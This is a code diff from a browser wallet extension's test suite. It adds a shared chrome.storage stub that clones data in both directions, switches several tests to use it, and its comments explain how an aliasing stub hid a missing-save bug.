@@ -0,0 +1,73 @@
+// A chrome.storage.local stub that behaves like the real one.
+//
+// The real extension storage API is a serialization boundary: `set` writes a
+// structured clone of what it is given, and `get` hands back a structured
+// clone of what is stored. Nothing an extension page holds is ever the object
+// storage holds.
+//
+// A stub that skips the clone aliases them together, and that hides an entire
+// class of defect rather than merely being imprecise. loadState() assigns
+// nested references straight out of the get result, so over an aliasing stub a
+// test can assert "the endpoint was persisted" and pass on a build that never
+// called saveState() at all: the in-memory mutation IS the stored record.
+// Measured, not theorised — with an aliasing `get` restored over the handler
+// fixed in https://git.eeqj.de/sneak/AutistMask/pulls/319, the whole suite
+// passed 794/794 (https://git.eeqj.de/sneak/AutistMask/issues/324).
+//
+// So every test that drives real persistence uses this, and nothing rebuilds
+// a storage stub by hand.
+
+// `initial` is the starting contents, keyed as storage is: { autistmask: {...} }.
+// `onOp` runs before each operation, for a test that needs to advance a clock
+// or count round trips.
+function makeStorageStub(initial, onOp) {
+    const store = initial ? structuredClone(initial) : {};
+    const tick = onOp || (() => {});
+
+    const get = jest.fn(async (key) => {
+        tick();
+        if (key === undefined || key === null) return structuredClone(store);
+        const keys = Array.isArray(key) ? key : [key];
+        const out = {};
+        for (const k of keys) {
+            if (Object.prototype.hasOwnProperty.call(store, k)) {
+                out[k] = structuredClone(store[k]);
+            }
+        }
+        return out;
+    });
+
+    const set = jest.fn(async (items) => {
+        tick();
+        for (const k of Object.keys(items)) {
+            store[k] = structuredClone(items[k]);
+        }
+    });
+
+    const remove = jest.fn(async (key) => {
+        tick();
+        for (const k of Array.isArray(key) ? key : [key]) delete store[k];
+    });
+
+    return {
+        // Drop this straight in as chrome.storage.
+        local: { get, set, remove },
+        get,
+        set,
+        remove,
+        // What is stored, cloned on the way out: a test can neither observe a
+        // later write through an object it read nor reach into the store by
+        // mutating one.
+        read: (key) =>
+            key === undefined
+                ? structuredClone(store)
+                : structuredClone(store[key]),
+        // Seed or replace a record without going through the module under
+        // test — for standing in as "another page wrote this".
+        write: (key, value) => {
+            store[key] = structuredClone(value);
+        },
+    };
+}
+
+module.exports = { makeStorageStub };

tests/symbolSpoof.test.js

@@ -682,6 +682,7 @@ describe("surface 3: the balance list", () => {
             "https://rpc.example.invalid",
             BLOCKSCOUT,
             [],
+            "mainnet",
         );
         expect(addr.balance).toBe("1.2345");
         expect(addr.tokenBalances).toEqual([]);

tests/transactions.test.js

@@ -30,8 +30,11 @@ global.fetch = jest.fn(() => {
 });
 
 // state.js reads chrome.storage.local at module load; stub it so the
-// default settings can be asserted against what the README promises.
-global.chrome = { storage: { local: {} } };
+// default settings can be asserted against what the README promises. Empty
+// storage, so a load produces exactly the defaults.
+const { makeStorageStub } = require("./support/storageStub");
+
+global.chrome = { storage: makeStorageStub() };
 
 const {
     fetchRecentTransactions,
@@ -745,6 +748,16 @@ describe("dust threshold filtering", () => {
 });
 
 describe("filter defaults promised by the README and Settings", () => {
+    // The defaults are what a load of empty storage produces, so the load is
+    // part of the assertion rather than an incantation before it: reading the
+    // singleton before any load now throws (StateNotLoadedError), because a
+    // context served DEFAULT_STATE without asking for it is the whole subject
+    // of https://git.eeqj.de/sneak/AutistMask/issues/324. The stub at the top
+    // of this file has storage empty.
+    beforeAll(async () => {
+        await require("../src/shared/state").loadState();
+    });
+
     test("all four toggles default to on and the threshold to 100,000 gwei", () => {
         expect(state.hideSpoofedSymbols).toBe(true);
         expect(state.hideLowHolderTokens).toBe(true);

tests/txStatus.test.js

@@ -96,18 +96,14 @@ global.document = {
 
 global.window = { location: { search: "" } };
 
-const stored = {};
-global.chrome = {
-    storage: {
-        local: {
-            set: (obj) => {
-                Object.assign(stored, obj);
-                return Promise.resolve();
-            },
-            get: () => Promise.resolve(stored),
-        },
-    },
-};
+// Clones in both directions, as the real chrome.storage.local does; the stub
+// here used to hand back the live stored object, so an in-memory mutation
+// looked like a write that had reached storage. See
+// tests/support/storageStub.js.
+const { makeStorageStub } = require("./support/storageStub");
+
+const storage = makeStorageStub();
+global.chrome = { storage };
 
 const txStatus = require("../src/popup/views/txStatus");
 const { state } = require("../src/shared/state");